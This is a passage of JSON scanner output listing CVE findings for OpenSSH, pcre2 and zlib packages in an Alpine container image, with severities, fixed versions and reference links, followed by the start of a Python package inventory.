"Fingerprint": "sha256:ab0e3da5558daaeb2c798aa6aeb2c5e1a12fa3718727974e546eb40cb3e9e0e1", "Title": "openssh: OpenSSH: Password authentication bypass via password hash misinterpretation", "Description": "sshd in OpenSSH before 10.6p2 on Linux, when musl libc is used without PAM, lacks a workaround for a password authentication bypass (related to misinterpretation of whether a string is intended to be a password hash). For some configurations of accounts, any password between 256 and 1024 characters succeeds. An example of a platform using musl libc without PAM is Alpine Linux.", "Severity": "HIGH", "CweIDs": [ "CWE-394" ], "VendorSeverity": { "redhat": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.1 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-123158", "https://alpinelinux.org/posts/2026-11-05-openssh-password-authentication-bypass/", "https://github.com/google/goonami-scanner/pull/277", "https://github.com/leonjza/sshhole-lab", "https://github.com/openssh/openssh-portable/commit/4353fdc43ef646c43a8dda7025cc1a898caf1482", "https://github.com/predkambrij/sshhole-repro", "https://hachyderm.io/@damienmiller/117563026759098135", "https://marc.info/?l=openssh-unix-dev\u0026m=179388064263131\u0026w=2", "https://news.ycombinator.com/item?id=50377976", "https://news.ycombinator.com/item?id=50378228", "https://news.ycombinator.com/item?id=50379704", "https://nvd.nist.gov/vuln/detail/CVE-2026-123158", "https://sshhole.com", "https://www.cve.org/CVERecord?id=CVE-2026-123158", "https://www.openssh.org/releasenotes.html#10.6p2" ], "PublishedDate": "2026-11-05T16:17:47.11Z", "LastModifiedDate": "2026-11-06T05:18:26.71Z" }, { "VulnerabilityID": "CVE-2026-103111", "PkgID": "pcre2@10.43-r0", "PkgName": "pcre2", "PkgIdentifier": { "PURL": "pkg:apk/alpine/pcre2@10.43-r0?arch=x86_64\u0026distro=3.21.5", "UID": "f6f0683f9f0923fb" }, "InstalledVersion": "10.43-r0", "FixedVersion": "10.43-r1", "Status": "fixed", "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-103111", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:de9e278f4be525edeaabffb16feeb82394915edb9e74a1af8a89f39d6302c463", "Title": "pcre2: pcre2: Out-of-bounds write via crafted regular expression", "Description": "PCRE2 before 10.49, when there is an attacker-controlled regular expression and certain JIT API usage, allows an out-of-bounds write with arbitrary data.", "Severity": "HIGH", "CweIDs": [ "CWE-787" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:L", "V3Score": 7.6 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:81532", "https://access.redhat.com/security/cve/CVE-2026-103111", "https://bugzilla.redhat.com/2528993", "https://bugzilla.redhat.com/2531743", "https://bugzilla.redhat.com/2531744", "https://bugzilla.redhat.com/2531745", "https://bugzilla.redhat.com/2531746", "https://bugzilla.redhat.com/2531747", "https://bugzilla.redhat.com/2543797", "https://bugzilla.redhat.com/show_bug.cgi?id=2528993", "https://bugzilla.redhat.com/show_bug.cgi?id=2531743", "https://bugzilla.redhat.com/show_bug.cgi?id=2531744", "https://bugzilla.redhat.com/show_bug.cgi?id=2531745", "https://bugzilla.redhat.com/show_bug.cgi?id=2531746", "https://bugzilla.redhat.com/show_bug.cgi?id=2531747", "https://bugzilla.redhat.com/show_bug.cgi?id=2543797", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-103111", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-86145", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89156", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89157", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89158", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89160", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89161", "https://errata.almalinux.org/9/ALSA-2026-81532.html", "https://errata.rockylinux.org/RLSA-2026:81532", "https://github.com/PCRE2Project/pcre2/security/advisories/GHSA-r9hj-j2rw-4q3m", "https://linux.oracle.com/cve/CVE-2026-103111.html", "https://linux.oracle.com/errata/ELSA-2026-84799.html", "https://lists.debian.org/debian-lts-announce/2026/10/msg00008.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-103111", "https://ubuntu.com/security/notices/USN-8974-1", "https://www.cve.org/CVERecord?id=CVE-2026-103111" ], "PublishedDate": "2026-09-30T05:16:45.863Z", "LastModifiedDate": "2026-10-04T00:16:35.563Z" }, { "VulnerabilityID": "CVE-2026-86145", "PkgID": "pcre2@10.43-r0", "PkgName": "pcre2", "PkgIdentifier": { "PURL": "pkg:apk/alpine/pcre2@10.43-r0?arch=x86_64\u0026distro=3.21.5", "UID": "f6f0683f9f0923fb" }, "InstalledVersion": "10.43-r0", "FixedVersion": "10.43-r1", "Status": "fixed", "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-86145", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:f90280007475ee65b56d5e13224dc7b2c169ebe476246ea423853b8fed767b8f", "Title": "pcre2: PCRE2: Out-of-bounds write allows arbitrary code execution via crafted regular expressions", "Description": "PCRE2 before 10.48 allows a pcre2_dfa_match out-of-bounds write because reuse of a cached workspace block, in a recursive DFA matching workspace, lacks a size check (even though a newly allocated block, for the same purpose, does have a size check). This outcome requires an attacker-controlled regular expression, or a recursive pattern in conjunction with a small heap limit (this can be set through the API).", "Severity": "HIGH", "CweIDs": [ "CWE-424" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "bottlerocket": 2, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L", "V3Score": 8.2 } }, "References": [ "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-86145", "http://www.openwall.com/lists/oss-security/2026/09/05/3", "https://access.redhat.com/errata/RHSA-2026:81532", "https://access.redhat.com/security/cve/CVE-2026-86145", "https://bugzilla.redhat.com/2528993", "https://bugzilla.redhat.com/2531743", "https://bugzilla.redhat.com/2531744", "https://bugzilla.redhat.com/2531745", "https://bugzilla.redhat.com/2531746", "https://bugzilla.redhat.com/2531747", "https://bugzilla.redhat.com/2543797", "https://bugzilla.redhat.com/show_bug.cgi?id=2528993", "https://bugzilla.redhat.com/show_bug.cgi?id=2531743", "https://bugzilla.redhat.com/show_bug.cgi?id=2531744", "https://bugzilla.redhat.com/show_bug.cgi?id=2531745", "https://bugzilla.redhat.com/show_bug.cgi?id=2531746", "https://bugzilla.redhat.com/show_bug.cgi?id=2531747", "https://bugzilla.redhat.com/show_bug.cgi?id=2543797", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-103111", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-86145", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89156", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89157", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89158", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89160", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89161", "https://errata.almalinux.org/9/ALSA-2026-81532.html", "https://errata.rockylinux.org/RLSA-2026:81532", "https://github.com/PCRE2Project/pcre2/releases/tag/pcre2-10.48", "https://github.com/PCRE2Project/pcre2/security/advisories/GHSA-3r4p-g7gg-ppmf", "https://github.com/bottlerocket-os/bottlerocket-core-kit/blob/develop/advisories/17.1.0/BRSA-xqvt0yt0g9rb.toml", "https://github.com/bottlerocket-os/bottlerocket/security/advisories/GHSA-3r4p-g7gg-ppmf", "https://linux.oracle.com/cve/CVE-2026-86145.html", "https://linux.oracle.com/errata/ELSA-2026-84799.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-86145", "https://ubuntu.com/security/notices/USN-8974-1", "https://www.cve.org/CVERecord?id=CVE-2026-86145" ], "PublishedDate": "2026-09-05T06:17:10.37Z", "LastModifiedDate": "2026-09-09T16:04:24.933Z" }, { "VulnerabilityID": "CVE-2026-89157", "PkgID": "pcre2@10.43-r0", "PkgName": "pcre2", "PkgIdentifier": { "PURL": "pkg:apk/alpine/pcre2@10.43-r0?arch=x86_64\u0026distro=3.21.5", "UID": "f6f0683f9f0923fb" }, "InstalledVersion": "10.43-r0", "FixedVersion": "10.43-r1", "Status": "fixed", "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-89157", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:08193f85163d548070d39de9ab96d0b0bbfccc0d4d25e86991fbbb55486502d8", "Title": "pcre2: PCRE2: Out-of-bounds write via large pattern input", "Description": "PCRE2 before 10.48, on 32-bit platforms, has a pcre2_pattern_convert out-of-bounds write when an attacker can provide a large pattern.", "Severity": "HIGH", "CweIDs": [ "CWE-190" ], "VendorSeverity": { "alma": 3, "azure": 2, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "rocky": 3, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:H", "V3Score": 7.4 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:L", "V3Score": 5.7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:81532", "https://access.redhat.com/security/cve/CVE-2026-89157", "https://bugzilla.redhat.com/2528993", "https://bugzilla.redhat.com/2531743", "https://bugzilla.redhat.com/2531744", "https://bugzilla.redhat.com/2531745", "https://bugzilla.redhat.com/2531746", "https://bugzilla.redhat.com/2531747", "https://bugzilla.redhat.com/2543797", "https://bugzilla.redhat.com/show_bug.cgi?id=2528993", "https://bugzilla.redhat.com/show_bug.cgi?id=2531743", "https://bugzilla.redhat.com/show_bug.cgi?id=2531744", "https://bugzilla.redhat.com/show_bug.cgi?id=2531745", "https://bugzilla.redhat.com/show_bug.cgi?id=2531746", "https://bugzilla.redhat.com/show_bug.cgi?id=2531747", "https://bugzilla.redhat.com/show_bug.cgi?id=2543797", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-103111", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-86145", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89156", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89157", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89158", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89160", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89161", "https://errata.almalinux.org/9/ALSA-2026-81532.html", "https://errata.rockylinux.org/RLSA-2026:81532", "https://github.com/PCRE2Project/pcre2/releases/tag/pcre2-10.48", "https://github.com/PCRE2Project/pcre2/security/advisories/GHSA-q8g2-wprr-34m9", "https://linux.oracle.com/cve/CVE-2026-89157.html", "https://linux.oracle.com/errata/ELSA-2026-81613.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-89157", "https://ubuntu.com/security/notices/USN-8974-1", "https://www.cve.org/CVERecord?id=CVE-2026-89157" ], "PublishedDate": "2026-09-11T04:18:03.753Z", "LastModifiedDate": "2026-09-16T19:25:08.88Z" }, { "VulnerabilityID": "CVE-2026-89161", "PkgID": "pcre2@10.43-r0", "PkgName": "pcre2", "PkgIdentifier": { "PURL": "pkg:apk/alpine/pcre2@10.43-r0?arch=x86_64\u0026distro=3.21.5", "UID": "f6f0683f9f0923fb" }, "InstalledVersion": "10.43-r0", "FixedVersion": "10.43-r1", "Status": "fixed", "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-89161", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:b47a05b4b5ea8d04c8a9ac421d46b2096bcbfff57ebe2315051c8143c5ca3b11", "Title": "pcre2: PCRE2: Memory corruption vulnerability in pcre2_jit_match", "Description": "In PCRE2 before 10.48, pcre2_jit_match mishandles a previously copied subject being passed in as a context. An incorrect free operation can occur.", "Severity": "HIGH", "CweIDs": [ "CWE-590" ], "VendorSeverity": { "alma": 3, "amazon": 3, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.4 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:81532", "https://access.redhat.com/security/cve/CVE-2026-89161", "https://bugzilla.redhat.com/2528993", "https://bugzilla.redhat.com/2531743", "https://bugzilla.redhat.com/2531744", "https://bugzilla.redhat.com/2531745", "https://bugzilla.redhat.com/2531746", "https://bugzilla.redhat.com/2531747", "https://bugzilla.redhat.com/2543797", "https://bugzilla.redhat.com/show_bug.cgi?id=2528993", "https://bugzilla.redhat.com/show_bug.cgi?id=2531743", "https://bugzilla.redhat.com/show_bug.cgi?id=2531744", "https://bugzilla.redhat.com/show_bug.cgi?id=2531745", "https://bugzilla.redhat.com/show_bug.cgi?id=2531746", "https://bugzilla.redhat.com/show_bug.cgi?id=2531747", "https://bugzilla.redhat.com/show_bug.cgi?id=2543797", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-103111", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-86145", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89156", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89157", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89158", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89160", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89161", "https://errata.almalinux.org/9/ALSA-2026-81532.html", "https://errata.rockylinux.org/RLSA-2026:81532", "https://github.com/PCRE2Project/pcre2/commit/1dcd0cf42a6a7cb62cc9a7c024196733abcfda95%20%28pcre2-10.48-RC1%29", "https://github.com/PCRE2Project/pcre2/pull/937", "https://github.com/PCRE2Project/pcre2/releases/tag/pcre2-10.48", "https://linux.oracle.com/cve/CVE-2026-89161.html", "https://linux.oracle.com/errata/ELSA-2026-84799.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-89161", "https://ubuntu.com/security/notices/USN-8974-1", "https://www.cve.org/CVERecord?id=CVE-2026-89161" ], "PublishedDate": "2026-09-11T04:18:04.47Z", "LastModifiedDate": "2026-09-16T19:10:47.78Z" }, { "VulnerabilityID": "CVE-2026-22184", "PkgID": "zlib@1.3.1-r2", "PkgName": "zlib", "PkgIdentifier": { "PURL": "pkg:apk/alpine/zlib@1.3.1-r2?arch=x86_64\u0026distro=3.21.5", "UID": "3b545badcbeb3bc0" }, "InstalledVersion": "1.3.1-r2", "FixedVersion": "1.3.2-r0", "Status": "fixed", "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-22184", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:f51e406aad32a0d61f6b443cd50626056b6c3f7c8062bf1a8d411fca0fb6e104", "Title": "zlib: zlib: Arbitrary code execution via buffer overflow in untgz utility", "Description": "zlib versions up to and including 1.3.1.2 include a global buffer overflow in the untgz utility located under contrib/untgz. The vulnerability is limited to the standalone demonstration utility and does not affect the core zlib compression library. The flaw occurs when a user executes the untgz command with an excessively long archive name supplied via the command line, leading to an out-of-bounds write in a fixed-size global buffer.", "Severity": "HIGH", "CweIDs": [ "CWE-787", "CWE-120" ], "VendorSeverity": { "nvd": 3, "redhat": 3 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H", "V3Score": 8.6 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-22184", "https://bugzilla.redhat.com/show_bug.cgi?id=2427688", "https://cert-portal.siemens.com/productcert/html/ssa-470355.html", "https://github.com/madler/zlib", "https://github.com/madler/zlib/issues/1142", "https://nvd.nist.gov/vuln/detail/CVE-2026-22184", "https://seclists.org/fulldisclosure/2026/Jan/3", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-22184.json", "https://www.cve.org/CVERecord?id=CVE-2026-22184", "https://www.vulncheck.com/advisories/zlib-untgz-global-buffer-overflow-in-tgzfname", "https://zlib.net/" ], "PublishedDate": "2026-01-07T21:16:01.563Z", "LastModifiedDate": "2026-09-01T13:18:19.867Z" }, { "VulnerabilityID": "CVE-2026-85091", "PkgID": "zlib@1.3.1-r2", "PkgName": "zlib", "PkgIdentifier": { "PURL": "pkg:apk/alpine/zlib@1.3.1-r2?arch=x86_64\u0026distro=3.21.5", "UID": "3b545badcbeb3bc0" }, "InstalledVersion": "1.3.1-r2", "FixedVersion": "1.3.2-r1", "Status": "fixed", "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-85091", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:217d29da8a5d228217443150526d9ee1b9fb67ddd3049def3c7e781377f172d2", "Title": "zlib: zlib: Heap buffer overflow in gz_vacate() allows arbitrary code execution", "Description": "zlib versions 1.3.1.2 through 1.3.2 contain a heap buffer overflow vulnerability in the gz_vacate() function when processing non-blocking gzwrite() operations with stale external buffer pointers. Attackers can trigger the overflow by calling gzprintf() or gzvprintf() after a write stall, causing an unchecked memmove() to write beyond the internal input buffer boundary.", "Severity": "HIGH", "CweIDs": [ "CWE-787" ], "VendorSeverity": { "azure": 3, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.1 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-85091", "https://gist.github.com/thesmartshadow/e0b9481792afb7c31e86fee1ff084490", "https://github.com/madler/zlib", "https://github.com/madler/zlib/blob/v1.3.2/gzwrite.c#L393", "https://nvd.nist.gov/vuln/detail/CVE-2026-85091", "https://ubuntu.com/security/notices/USN-8954-1", "https://www.cve.org/CVERecord?id=CVE-2026-85091", "https://www.vulncheck.com/advisories/zlib-1.3.1.2-through-1.3.2-heap-buffer-overflow-via-gz-vacate" ], "PublishedDate": "2026-09-03T13:06:20.573Z", "LastModifiedDate": "2026-09-09T20:41:07.123Z" }, { "VulnerabilityID": "CVE-2026-22184", "PkgID": "zlib-dev@1.3.1-r2", "PkgName": "zlib-dev", "PkgIdentifier": { "PURL": "pkg:apk/alpine/zlib-dev@1.3.1-r2?arch=x86_64\u0026distro=3.21.5", "UID": "98d2c7733894cf2b" }, "InstalledVersion": "1.3.1-r2", "FixedVersion": "1.3.2-r0", "Status": "fixed", "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-22184", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:3e44b281e690f0f13b6df6b743f5f53d2612828f5c6e3b3fd3abfe2bc4f2ff73", "Title": "zlib: zlib: Arbitrary code execution via buffer overflow in untgz utility", "Description": "zlib versions up to and including 1.3.1.2 include a global buffer overflow in the untgz utility located under contrib/untgz. The vulnerability is limited to the standalone demonstration utility and does not affect the core zlib compression library. The flaw occurs when a user executes the untgz command with an excessively long archive name supplied via the command line, leading to an out-of-bounds write in a fixed-size global buffer.", "Severity": "HIGH", "CweIDs": [ "CWE-787", "CWE-120" ], "VendorSeverity": { "nvd": 3, "redhat": 3 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H", "V3Score": 8.6 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-22184", "https://bugzilla.redhat.com/show_bug.cgi?id=2427688", "https://cert-portal.siemens.com/productcert/html/ssa-470355.html", "https://github.com/madler/zlib", "https://github.com/madler/zlib/issues/1142", "https://nvd.nist.gov/vuln/detail/CVE-2026-22184", "https://seclists.org/fulldisclosure/2026/Jan/3", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-22184.json", "https://www.cve.org/CVERecord?id=CVE-2026-22184", "https://www.vulncheck.com/advisories/zlib-untgz-global-buffer-overflow-in-tgzfname", "https://zlib.net/" ], "PublishedDate": "2026-01-07T21:16:01.563Z", "LastModifiedDate": "2026-09-01T13:18:19.867Z" }, { "VulnerabilityID": "CVE-2026-85091", "PkgID": "zlib-dev@1.3.1-r2", "PkgName": "zlib-dev", "PkgIdentifier": { "PURL": "pkg:apk/alpine/zlib-dev@1.3.1-r2?arch=x86_64\u0026distro=3.21.5", "UID": "98d2c7733894cf2b" }, "InstalledVersion": "1.3.1-r2", "FixedVersion": "1.3.2-r1", "Status": "fixed", "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-85091", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:41766add55aebfc8c8b6eb53f21c8fc0687e3c88ab574ea705e63d1f9aa4e1a6", "Title": "zlib: zlib: Heap buffer overflow in gz_vacate() allows arbitrary code execution", "Description": "zlib versions 1.3.1.2 through 1.3.2 contain a heap buffer overflow vulnerability in the gz_vacate() function when processing non-blocking gzwrite() operations with stale external buffer pointers. Attackers can trigger the overflow by calling gzprintf() or gzvprintf() after a write stall, causing an unchecked memmove() to write beyond the internal input buffer boundary.", "Severity": "HIGH", "CweIDs": [ "CWE-787" ], "VendorSeverity": { "azure": 3, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.1 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-85091", "https://gist.github.com/thesmartshadow/e0b9481792afb7c31e86fee1ff084490", "https://github.com/madler/zlib", "https://github.com/madler/zlib/blob/v1.3.2/gzwrite.c#L393", "https://nvd.nist.gov/vuln/detail/CVE-2026-85091", "https://ubuntu.com/security/notices/USN-8954-1", "https://www.cve.org/CVERecord?id=CVE-2026-85091", "https://www.vulncheck.com/advisories/zlib-1.3.1.2-through-1.3.2-heap-buffer-overflow-via-gz-vacate" ], "PublishedDate": "2026-09-03T13:06:20.573Z", "LastModifiedDate": "2026-09-09T20:41:07.123Z" } ] }, { "Target": "Python", "Class": "lang-pkgs", "Type": "python-pkg", "Packages": [ { "Name": "CacheControl", "Identifier": { "PURL": "pkg:pypi/cachecontrol@0.14.4", "UID": "cb6df76054da177" }, "Version": "0.14.4", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "FilePath": "usr/local/lib/python3.11/site-packages/cachecontrol-0.14.4.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "CairoSVG", "Identifier": { "PURL": "pkg:pypi/cairosvg@2.8.2", "UID": "9c219bee5b991f70" }, "Version": "2.8.2", "Licenses": [ "LGPL-3.0-or-later" ], "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "FilePath": "usr/local/lib/python3.11/site-packages/cairosvg-2.8.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "GitPython", "Identifier": { "PURL": "pkg:pypi/gitpython@3.1.45", "UID": "4b63587de376c28" }, "Version": "3.1.45", "Licenses": [ "BSD-3-Clause" ], "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "FilePath": "usr/local/lib/python3.11/site-packages/gitpython-3.1.45.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "Jinja2", "Identifier": { "PURL": "pkg:pypi/jinja2@3.1.6", "UID": "1bee0db7a4a5fe9a" }, "Version": "3.1.6", "Licenses": [ "BSD-3-Clause" ], "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "FilePath": "usr/local/lib/python3.11/site-packages/jinja2-3.1.6.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "Markdown", "Identifier": { "PURL": "pkg:pypi/markdown@3.10", "UID": "f12a0956ece74a72" }, "Version": "3.10", "Licenses": [ "BSD-3-Clause" ], "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "FilePath": "usr/local/lib/python3.11/site-packages/markdown-3.10.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "MarkupSafe", "Identifier": { "PURL": "pkg:pypi/markupsafe@3.0.3", "UID": "ab07bf03739ef86" }, "Version": "3.0.3", "Licenses": [ "BSD-3-Clause" ], "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "FilePath": "usr/local/lib/python3.11/site-packages/markupsafe-3.0.3.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "PyYAML", "Identifier": { "PURL": "pkg:pypi/pyyaml@6.0.3", "UID": "200d8384c5c91a41" }, "Version": "6.0.3", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "FilePath": "usr/local/lib/python3.11/site-packages/pyyaml-6.0.3.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "Pygments", "Identifier": { "PURL": "pkg:pypi/pygments@2.19.2", "UID": "3bf41325e170881c" }, "Version": "2.19.2", "Licenses": [ "BSD-3-Clause" ], "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "FilePath": "usr/local/lib/python3.11/site-packages/pygments-2.19.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "autocommand", "Identifier": { "PURL": "pkg:pypi/autocommand@2.2.2", "UID": "de2aeb22213f7255" }, "Version": "2.2.2", "Licenses": [ "LGPL-3.0-only" ], "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "FilePath": "usr/local/lib/python3.11/site-packages/setuptools/_vendor/autocommand-2.2.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "babel", "Identifier": { "PURL": "pkg:pypi/babel@2.17.0", "UID": "477df92e1c51bc21" }, "Version": "2.17.0", "Licenses": [ "BSD-3-Clause" ], "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "FilePath": "usr/local/lib/python3.11/site-packages/babel-2.17.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "backports.tarfile", "Identifier": { "PURL": "pkg:pypi/backports.tarfile@1.2.0", "UID": "1333ca5d453000df" }, "Version": "1.2.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "FilePath": "usr/local/lib/python3.11/site-packages/setuptools/_vendor/backports.tarfile-1.2.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "backrefs", "Identifier": { "PURL": 